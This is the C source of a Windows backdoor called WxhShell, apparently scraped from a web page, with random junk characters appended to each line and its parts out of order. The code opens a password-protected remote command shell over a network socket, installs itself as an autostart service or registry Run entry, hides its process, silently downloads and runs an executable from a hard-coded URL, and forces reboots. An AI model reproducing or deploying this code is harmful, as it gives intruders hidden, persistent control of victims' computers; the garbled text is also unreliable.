    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xUPg~c0  
    else { w&Z.rB?  
    closesocket(wsh); ;ykX]5jGh  
    ExitThread(0); 4|hfzCjMI  
    } 7g4IAsoD  
    break; ?NxaJ^  
    } |[@v+koq  
  // 获取shell 0?''v>%  
  case 's': { 0pBG^I`_  
    CmdShell(wsh); CN6b 982&  
    closesocket(wsh); ;?{OX  
    ExitThread(0); ~3$:C#"Dl  
    break; 8aY}b($*ZI  
  } m[%P3  
  // 退出 82YZN5S3]3  
  case 'x': { 8"ulAx74>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ynn>d  
    CloseIt(wsh); POQ4&ChA  
    break; 0KN'\KE  
    } BO>[\!=y  
  // 离开 [M?&JA_$}  
  case 'q': { 'DUY f5nF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +hIMfhF  
    closesocket(wsh); 7-}/{o*,5  
    WSACleanup(); NkxW*w%}l  
    exit(1); ;Ouu+#s  
    break; loD:4e1  
        } S Q`KR'E  
  } Me-H'Mp~  
  } xgIb4Y%  
RWZjD#5%Z  
  // 提示信息 iwfH~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ={I(i6  
} [ z{ }?  
  } qJK6S4O]  
QaLVIsnfN  
  return; DuRC1@e  
} {;={ abj  
9-.`~v  
// shell模块句柄 .WS7gTw  
int CmdShell(SOCKET sock) mW#p&{  
{ :+ AqY(Gz  
STARTUPINFO si; ~Dj_N$_+9  
ZeroMemory(&si,sizeof(si)); QKh vP>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tj:>o#D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 960rbxKy3  
PROCESS_INFORMATION ProcessInfo; fn.}LeeS>  
char cmdline[]="cmd"; `llSHsIkXb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !I Byv%m&\  
  return 0; b|U3\Fmc  
} b(_PV#@$  
8cbgP$X  
// 自身启动模式 - P'c0I9z  
int StartFromService(void) #rx@ 2zi  
{ Bz6Zy)&sAL  
typedef struct B0!W=T\  
{ Gx-tPW}  
  DWORD ExitStatus; IJ6&*t wT  
  DWORD PebBaseAddress; t8B==%  
  DWORD AffinityMask; gX]'RBTb  
  DWORD BasePriority; ig?Tj4kD  
  ULONG UniqueProcessId; SA.,Q~_T7  
  ULONG InheritedFromUniqueProcessId; G=>LW1E|  
}   PROCESS_BASIC_INFORMATION; 7;NvR4P%  
(L"G,l  
PROCNTQSIP NtQueryInformationProcess; +w+qTZyky  
xcN >L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &uxwz@RC0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mh5 =]O+  
%|3NCyJ*7  
  HANDLE             hProcess; 6M@m`c  
  PROCESS_BASIC_INFORMATION pbi; Zc*gRC  
^/jALA9!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); } "AGX  
  if(NULL == hInst ) return 0; / Hexv#3  
67dp)X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xkkW?[&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z*&r@P -  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m>-(c=3  
:_+Fe,h>|  
  if (!NtQueryInformationProcess) return 0; 9h'klaE(  
fu7J{-<<R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mYqRN1%  
  if(!hProcess) return 0; qjd8Q  
}P"JP[#E\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; df!n.&\y!  
G1:2MPH  
  CloseHandle(hProcess); Qrt> vOUE7  
;Z}V}B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GA@Zfcg  
if(hProcess==NULL) return 0; O$ ;:5zT  
xZ(VvINL'  
HMODULE hMod; 9h 0^_|"  
char procName[255]; /(skIvE|  
unsigned long cbNeeded; `xd{0EvF  
hh"=|c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P6o-H$ a+  
 IQCIc@5  
  CloseHandle(hProcess); )6Qk|gIu(  
ue#Y h  
if(strstr(procName,"services")) return 1; // 以服务启动 @@Vf"o+S  
~<w9a]  
  return 0; // 注册表启动 }u8D5Q<(  
} C6(WnO{6  
(eJYv: ^  
// 主模块 2j7e@pr  
int StartWxhshell(LPSTR lpCmdLine) _J`q\N K  
{ qlfYX8edZ  
  SOCKET wsl; olO&7jh7|  
BOOL val=TRUE; LVp*YOq7  
  int port=0; ]Vgl  
  struct sockaddr_in door; 7nL3+Pq  
b<mxf\b  
  if(wscfg.ws_autoins) Install(); bol#[_~  
]o\y(!  
port=atoi(lpCmdLine); x?MSHOia`P  
y~pJ|E  
if(port<=0) port=wscfg.ws_port; Mlr}v^"G  
zE\@x+k.  
  WSADATA data; Um9]X@z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O8% Y .SK  
f6Io|CZWJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9K5[a^q|My  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FGG 7;0(  
  door.sin_family = AF_INET; ');QmN%J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RAW(lZ(  
  door.sin_port = htons(port); _o-D},f*e  
_oJq32  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C) "|sG  
closesocket(wsl); *R^ulp[W  
return 1; B!cg)Y?.bd  
} -(fvb  
'@<aS?@!t  
  if(listen(wsl,2) == INVALID_SOCKET) { 'Nbae-pf  
closesocket(wsl); O[[#\BL  
return 1; ;n,@[v  
} ;Y>cegG\  
  Wxhshell(wsl); RZeU{u<O  
  WSACleanup(); #]!0$z|Z  
 uM9[  
return 0; '9MtIcNb  
Z;#Ei.7p|  
} -6KGQc}U  
:LwNOuavN  
// 以NT服务方式启动 h[0,/`qb{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GKNH{|B$D  
{ l[q%1-N  
DWORD   status = 0; U ExK|t  
  DWORD   specificError = 0xfffffff; dM1)wkbET  
UldG0+1d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s]=s|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;h"?h*}m!\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,HFoy-Yq  
  serviceStatus.dwWin32ExitCode     = 0; duKR;5:  
  serviceStatus.dwServiceSpecificExitCode = 0; YkKq}DXj  
  serviceStatus.dwCheckPoint       = 0; L27i_4E,  
  serviceStatus.dwWaitHint       = 0; "38ya2*  
.V?i3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `%x6;Ha  
  if (hServiceStatusHandle==0) return; :+SpZ>  
&T8prE?  
status = GetLastError(); / 1jb8w'  
  if (status!=NO_ERROR) ;O2r+n  
{ |? !Ew# w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q-!a;/  
    serviceStatus.dwCheckPoint       = 0; 4u zyU_  
    serviceStatus.dwWaitHint       = 0; ;@@1$mzK  
    serviceStatus.dwWin32ExitCode     = status; Et=N`k _gO  
    serviceStatus.dwServiceSpecificExitCode = specificError; FSqS]6b3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5]&vs!wH  
    return; =_`4HDr  
  } ':fq  
&Oq& ikw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MT,LO<.  
  serviceStatus.dwCheckPoint       = 0; /2&jId  
  serviceStatus.dwWaitHint       = 0; KbY5 qou  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K>TdN+Z}=  
} 1X4v:rI  
#qk A*WP  
// 处理NT服务事件,比如:启动、停止 *FkG32k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) | 1Fy  
{ m>gok0{pm  
switch(fdwControl) c8sY#I  
{ CqUK[#kW(  
case SERVICE_CONTROL_STOP: a(X?N.w  
  serviceStatus.dwWin32ExitCode = 0; BC0T[o(f8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x8 sSb:N  
  serviceStatus.dwCheckPoint   = 0; VN[h0+n4Th  
  serviceStatus.dwWaitHint     = 0; /! kKL$j  
  { g(\FG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nt^R~#8hF>  
  } r[zxb0YA  
  return; &WIiw$@  
case SERVICE_CONTROL_PAUSE: J3fcnI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; > ln%3 =  
  break; v ?)-KtX|  
case SERVICE_CONTROL_CONTINUE: %v\0Dm+A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U3 e3  
  break; q@ >s#  
case SERVICE_CONTROL_INTERROGATE: }!\ZJoa  
  break;  = uZ[  
}; u0^: XwZ!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3u7N/OQ(  
} 0(;d<u)fS  
KDW%*%!  
// 标准应用程序主函数 +Eh1>m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %_wX9Z T  
{ 3~\mP\/4v  
}u&.n pc  
// 获取操作系统版本 A('=P}I^  
OsIsNt=GetOsVer(); 15_OtK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *doK$wYP  
<jT6|2'  
  // 从命令行安装 mHo}, |  
  if(strpbrk(lpCmdLine,"iI")) Install(); (bi}?V*  
M-u:8dPu  
  // 下载执行文件  4G&E?  
if(wscfg.ws_downexe) { yc2c{<Ya5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {[PoLOCI  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7_taqcj  
} [K;J#0V+&L  
@CU3V+  
if(!OsIsNt) { ]:JoGGE a0  
// 如果时win9x,隐藏进程并且设置为注册表启动 [Z|R-{"  
HideProc(); Mf%0Cx `  
StartWxhshell(lpCmdLine); ^SB?NRk  
} 0.C y4sH'  
else F0%FX`b{{  
  if(StartFromService()) v' 7,(.E  
  // 以服务方式启动 y]aV7 `]  
  StartServiceCtrlDispatcher(DispatchTable); <<gk< _7`  
else D(D:/L8T,  
  // 普通方式启动 V} Y %9V  
  StartWxhshell(lpCmdLine); Od70w*,  
V*rAZ0  
return 0; X>j% y7v  
} Zf}]sW$H  
~isrE;N1|  
`me2Q  
m'k.R j  
=========================================== WY#A9i5Ge  
j2SJ4tB /  
-;cZW.<  
=4uL1[0'  
Enn7p9&  
u HqPb8  
" okJ+Yl.[?7  
xal+ buOiP  
#include <stdio.h> eWSA  
#include <string.h> c1M/:*?%  
#include <windows.h> m8;; O  
#include <winsock2.h> hIu;\dfwk  
#include <winsvc.h> sL|*0,#K  
#include <urlmon.h> wgxr8;8`q  
FjqoO.  
#pragma comment (lib, "Ws2_32.lib") g-"@%ps  
#pragma comment (lib, "urlmon.lib") 6gV-u~j[#  
wl H6  
#define MAX_USER   100 // 最大客户端连接数 yEyx.Mh.Af  
#define BUF_SOCK   200 // sock buffer ;rYL\`6L  
#define KEY_BUFF   255 // 输入 buffer `"zXf-qeE  
m(SGE,("w  
#define REBOOT     0   // 重启 YKKZRlQo  
#define SHUTDOWN   1   // 关机 9`Bmop  
B-PN +P2  
#define DEF_PORT   5000 // 监听端口 , f{<  
SYd4 3P A  
#define REG_LEN     16   // 注册表键长度 "s[wLclfG  
#define SVC_LEN     80   // NT服务名长度 H)z}6[`  
,%7>%*nhk  
// 从dll定义API 2%UzCK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "C%<R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G(W/.*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b{JcV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  |`[0U  
n4,b?-E>(  
// wxhshell配置信息 AL@8v=  
struct WSCFG { QG {KEj2V  
  int ws_port;         // 监听端口 \Fg%V>  
  char ws_passstr[REG_LEN]; // 口令 dPZrX{ c  
  int ws_autoins;       // 安装标记, 1=yes 0=no N Q~keN  
  char ws_regname[REG_LEN]; // 注册表键名 5e=9~].7  
  char ws_svcname[REG_LEN]; // 服务名 Hy=';Ccn}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7pf]h$2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /W\@/b,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q`- JRY-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y(/"DUx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kab"r_'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6D3hX>K4  
@=JOAo  
}; 0N.B =j|  
oS3'q\  
// default Wxhshell configuration j<|I@0  
struct WSCFG wscfg={DEF_PORT, -P#PyZEH&I  
    "xuhuanlingzhe", *YH5kX  
    1, "IQ' (^-P  
    "Wxhshell", Ug(;\*yg  
    "Wxhshell", A)6xEeyR  
            "WxhShell Service", Aiyx!Q6vT  
    "Wrsky Windows CmdShell Service", $Y'}wB{pc  
    "Please Input Your Password: ", 5hN)y-4@  
  1, [Z~h!}  
  "http://www.wrsky.com/wxhshell.exe", Q(v*I&k  
  "Wxhshell.exe" K|[p4*6  
    }; D>tex/Of3  
"LZQ1P*ef$  
// 消息定义模块 Bv-|#sdxm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I!sh+e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z OwKh>]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UF37|+"E  
char *msg_ws_ext="\n\rExit."; i2.g}pM.A  
char *msg_ws_end="\n\rQuit."; u~b;m  
char *msg_ws_boot="\n\rReboot..."; oA/[>\y  
char *msg_ws_poff="\n\rShutdown..."; pUbf]3 t  
char *msg_ws_down="\n\rSave to "; _v=S4A#tF  
k*XI/k5Vc  
char *msg_ws_err="\n\rErr!"; b,C2(?hg  
char *msg_ws_ok="\n\rOK!"; O_=2{k~s0  
y,&'nk}  
char ExeFile[MAX_PATH]; 0xE37Ld,  
int nUser = 0; 2S%[YR>>  
HANDLE handles[MAX_USER]; |q| ?y`X4/  
int OsIsNt; Aw?i6d  
$~)BO_;o  
SERVICE_STATUS       serviceStatus; |T`ZK?B+u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c,@&Z#IZ`  
|w; hu]  
// 函数声明 YA+jLy6ZL  
int Install(void); 9ZXkuP9vm  
int Uninstall(void); arVu`pD*n  
int DownloadFile(char *sURL, SOCKET wsh); ki|KtKAu_9  
int Boot(int flag); LAs#g||M  
void HideProc(void); 287g 5  
int GetOsVer(void); *LuR <V  
int Wxhshell(SOCKET wsl); Uk1|y\  
void TalkWithClient(void *cs); &~4;HjS  
int CmdShell(SOCKET sock); }+mIP:T  
int StartFromService(void); r_R( kns  
int StartWxhshell(LPSTR lpCmdLine); xA7>";sla[  
(U_`Q1Jo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +lYo5\1=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uX/K/4  
t+9[ki  
// 数据结构和表定义 -d-vzri  
SERVICE_TABLE_ENTRY DispatchTable[] = I:|<};m m  
{ Fw{:fFZC[  
{wscfg.ws_svcname, NTServiceMain}, h@kq>no  
{NULL, NULL} TEJn;D<1I,  
}; UTWchh  
Tumv0=q4wd  
// 自我安装 ]S  
int Install(void) gm^j8  B  
{ 6DkFIkS  
  char svExeFile[MAX_PATH]; "FD`1  
  HKEY key; \p4>onGI  
  strcpy(svExeFile,ExeFile); =Ff _)k  
1>yh`Bp\=  
// 如果是win9x系统,修改注册表设为自启动 zG\& ZU  
if(!OsIsNt) { 5S9i>B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kh4., \'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^U q%-a  
  RegCloseKey(key); fk*I}pDx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { we("#s1=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {{:QtkN  
  RegCloseKey(key); 9-/u _$  
  return 0; s78MXS?py  
    } /]1$Soo  
  } ]3D>ai?  
} gPE` mE  
else { iY,Ffu E  
ZA1:Y{ V  
// 如果是NT以上系统,安装为系统服务 NZb}n`:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "1P[D'HV4|  
if (schSCManager!=0) %~e+H|  
{ )k^y<lC2a  
  SC_HANDLE schService = CreateService 0-P,zkK_v  
  (  g)Tr#  
  schSCManager, REg&[e+%  
  wscfg.ws_svcname, n[K LY!  
  wscfg.ws_svcdisp, 1G'D'  
  SERVICE_ALL_ACCESS, IgIM8"N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tFEY8ut{  
  SERVICE_AUTO_START, OH >#f6`[  
  SERVICE_ERROR_NORMAL, A:$4cacu9  
  svExeFile, b)+;=o%  
  NULL, w!%"b03q  
  NULL, P:#KBF;a  
  NULL, :{LNr!I?I  
  NULL, H8x66}  
  NULL &wa2MNCG8  
  ); _j\GA6  
  if (schService!=0) XN^l*Q?3n  
  { \Ota~A  
  CloseServiceHandle(schService); sRI0;  
  CloseServiceHandle(schSCManager); RVN;j4uMg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >d3`\(v-  
  strcat(svExeFile,wscfg.ws_svcname); y9Q #%a8V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g:fkM{"{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !AXt6z cZ  
  RegCloseKey(key); b!<\#[ A4  
  return 0; drQI@sPp  
    } '" 4;;(  
  } [C#H _y(  
  CloseServiceHandle(schSCManager); `Sx1?@8(  
} XiL[1JM  
}  ;?G..,  
'NNfzh  
return 1; Et! 6i7`]  
} OQ&'3hv{  
ge4QaK  
// 自我卸载 \ z3>kvk  
int Uninstall(void) ^~1Z"kAnT  
{ ^)E# c  
  HKEY key; L,O.XR  
%<O0Yenu  
if(!OsIsNt) { FeT| Fh:L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M <nH  
  RegDeleteValue(key,wscfg.ws_regname); 50CjH"3PZ`  
  RegCloseKey(key); %M*2j%6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RsW4 '5  
  RegDeleteValue(key,wscfg.ws_regname); Y 8n*o3jM  
  RegCloseKey(key); 9i46u20  
  return 0; @~QI3)=s  
  } ?j;,:n   
} 5m yQBKE  
} MW2{w<-]7  
else { r>ag( ^J\  
=[:pm)   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iv ~<me0F  
if (schSCManager!=0) :Vy*MPS5  
{ m%cwhH_B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FL {$9o\@  
  if (schService!=0) }60/5HNr  
  { 3UX6Y]E3  
  if(DeleteService(schService)!=0) { r+!29  
  CloseServiceHandle(schService); hCb2<_3CR  
  CloseServiceHandle(schSCManager); Z,oCkv("n  
  return 0; I8/tD|3  
  } c2u*<x  
  CloseServiceHandle(schService); 050V-S>s  
  } 9S|a!9J  
  CloseServiceHandle(schSCManager); \beYb0(+  
} VfFbZds8f  
}  5]*!N  
KPAvNM  
return 1; v,kvLjqt  
} v?YxF}  
j}O7fLRu  
// 从指定url下载文件 Gl%N}8Cim  
int DownloadFile(char *sURL, SOCKET wsh) N/zP!%L  
{ d"tR ?j  
  HRESULT hr; NRT@"3,1YP  
char seps[]= "/"; DLN zH  
char *token; q+BG  
char *file; 3T/&T`T+c  
char myURL[MAX_PATH]; >9NC2%61S  
char myFILE[MAX_PATH]; "&/lF[q  
^ib =fLu  
strcpy(myURL,sURL); mqtYny'  
  token=strtok(myURL,seps); iS< ^MD  
  while(token!=NULL) F1t+D)KA>  
  { "Hk7s+%  
    file=token; SZUo RWx  
  token=strtok(NULL,seps); / E!N:g<  
  } 7h.fT`  
{DapXx  
GetCurrentDirectory(MAX_PATH,myFILE); q8!]x-5$6j  
strcat(myFILE, "\\"); `pjB^--w  
strcat(myFILE, file); p<<dj%  
  send(wsh,myFILE,strlen(myFILE),0); #;= sJ[m4  
send(wsh,"...",3,0); [tRb{JsUd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~RH)iI  
  if(hr==S_OK) cua( w  
return 0; Ciy%7_~\  
else q+} \ (|  
return 1; \&l@rMD3s  
&smZ;yb|'h  
} 8F&Y;  
lL&U ioo}D  
// 系统电源模块 s!S_Bt):3  
int Boot(int flag) z+{xW7  
{ g;Zy3   
  HANDLE hToken; 8Wo!NG:V5  
  TOKEN_PRIVILEGES tkp; cbYQ';{  
<kk!nsI  
  if(OsIsNt) { ,pY:kQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G^';9 UK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EywBT  
    tkp.PrivilegeCount = 1; G)q;)n;*=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ia (&$a8X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4bcd=a;  
if(flag==REBOOT) { 1IlOU|4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MxH |yo[  
  return 0; * F_KOf9p  
} LpL$=9  
else { cvQAo|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i{16&4 '  
  return 0; UmArl)R/  
} nwMq~I*1  
  } LIrebz  
  else { 0 6M?ecN  
if(flag==REBOOT) { JL>frS3M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UZs'H"K  
  return 0; G{{M' 1  
} CYlS8j  
else { LJom+PxF$x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *<[zG7+&[  
  return 0; t 4VeXp6  
} 1=,y +Xpw  
} 7#c4.9b?  
WEJ-K<A(  
return 1; !iq|sXs  
} #G_'5{V  
T|0+o+i  
// win9x进程隐藏模块 8.>himL  
void HideProc(void) ]G D` f  
{ AF8:bk,R  
eco&!R[G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [ [pt~=0  
  if ( hKernel != NULL ) K- $,:28  
  { &YcOmI/MM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'kco. 1{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "$aoIXv  
    FreeLibrary(hKernel); B,&QI&k`~  
  } y=.bn!u}z  
J .VZD  
return; A2;6Vz=z  
} G')zDx  
}'faf{W  
// 获取操作系统版本 Yg,;l-1  
int GetOsVer(void) c&x1aF "B  
{ 74a@/'WbE  
  OSVERSIONINFO winfo; oam;hmw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o(H.1ESk  
  GetVersionEx(&winfo); Vh>cV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =R~zD4{"  
  return 1; 2gZ nrU  
  else Mi{ns $B%  
  return 0; #0hqfs  
} 5 @-H8*  
Yufj y=!  
// 客户端句柄模块 [3I|MZ  
int Wxhshell(SOCKET wsl) c/ih%xR  
{ h5pfmN\-5  
  SOCKET wsh; sei2\l8q  
  struct sockaddr_in client; PEm2w#X%L  
  DWORD myID; u1Slu%^e  
N>,`TsUwW  
  while(nUser<MAX_USER) "DA%vdu  
{ _Gf-s51s  
  int nSize=sizeof(client); M0~%[nX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !_QT{H  
  if(wsh==INVALID_SOCKET) return 1; 1_#;+S  
E1tCY.N{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T1*.3_wtP  
if(handles[nUser]==0) k].swvIi  
  closesocket(wsh); D7T|K :F)  
else i;U*Y *f  
  nUser++; \D(3~y>  
  } P"l'? `  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1YJ?Y  
|Tc4a4jS  
  return 0; zL9~gJ  
} (XW'1@b  
oI[rxr  
// 关闭 socket mO]>]   
void CloseIt(SOCKET wsh) ZJQFn  
{ 1}c'UEr%)  
closesocket(wsh); QnD8L.Dg  
nUser--; _@!vF,Wcf  
ExitThread(0); -{k8^o7$  
} k&%i+5X  
IsE3-X|  
// 客户端请求句柄 9#@s(s  
void TalkWithClient(void *cs) Ie!&FQe2q  
{ e\ cyiW0  
-l57!s~V  
  SOCKET wsh=(SOCKET)cs; pCrm `hy(  
  char pwd[SVC_LEN]; Vub6wb<G[  
  char cmd[KEY_BUFF]; +(92}~RK  
char chr[1]; ~F@n `!c  
int i,j; .pQ5lK(R  
cS7\,/4S  
  while (nUser < MAX_USER) { kj[box N  
Ec}%!p_$  
if(wscfg.ws_passstr) { DAP/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .ex;4( -!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^@O 7d1&y  
  //ZeroMemory(pwd,KEY_BUFF); #` gu<xlW  
      i=0; =>`z k^  
  while(i<SVC_LEN) { 'JJKnE zQ  
~{tO8 ]  
  // 设置超时 DE?k|Get2  
  fd_set FdRead; Qd kus 214  
  struct timeval TimeOut; aG^E^^Y  
  FD_ZERO(&FdRead); v9-4yZU^WR  
  FD_SET(wsh,&FdRead); tEvDAI} 5  
  TimeOut.tv_sec=8; 7~XA92  
  TimeOut.tv_usec=0; T+&fUhSy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t_w\k_ T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [B+F}Q^;  
6>rz=yAM_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A1-,b.Ni  
  pwd=chr[0]; \ *[Ht!y  
  if(chr[0]==0xd || chr[0]==0xa) { P.@dB.Ny  
  pwd=0; 7Tdx*1 U  
  break; }7 +%k/  
  } jIT|Kk&]  
  i++; qe{;EH*  
    } 0VtjVz*C7&  
Q|h$D~  
  // 如果是非法用户,关闭 socket Cm)TFh6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n19A>,m  
} 8Iw)]}T'  
{+hABusq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |<h}'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $V!.z%Vgf  
*)-@'{]uB  
while(1) { 452kE@=49  
BLt58LYGX  
  ZeroMemory(cmd,KEY_BUFF); &d2L9kTk  
}bca-|N  
      // 自动支持客户端 telnet标准   $Y_S`#c@i  
  j=0; b)Da6fp  
  while(j<KEY_BUFF) { M.t,o\xl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U|tacO5w`  
  cmd[j]=chr[0]; UHvA43  
  if(chr[0]==0xa || chr[0]==0xd) { lWj*tnnn[  
  cmd[j]=0; vLHn4>J,R  
  break; uK$ Xqo%L  
  } tm.60udbo  
  j++; {{Ox%Zm  
    } 3= sBe HL  
k+-?b(z)$  
  // 下载文件 %'s_ =r`  
  if(strstr(cmd,"http://")) { CO@G%1#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .Ji9j[[#D  
  if(DownloadFile(cmd,wsh)) h>D;QY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tt?`,G.(]  
  else E-.X%xfO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BYEZ[cM  
  } c.Sd~k:3  
  else { rP7 QW)NF  
>P~*@>e  
    switch(cmd[0]) { 6CHb\k  
  0H>gMXWE]  
  // 帮助 zu{K"7Bx  
  case '?': { 1gkpK`u(B  
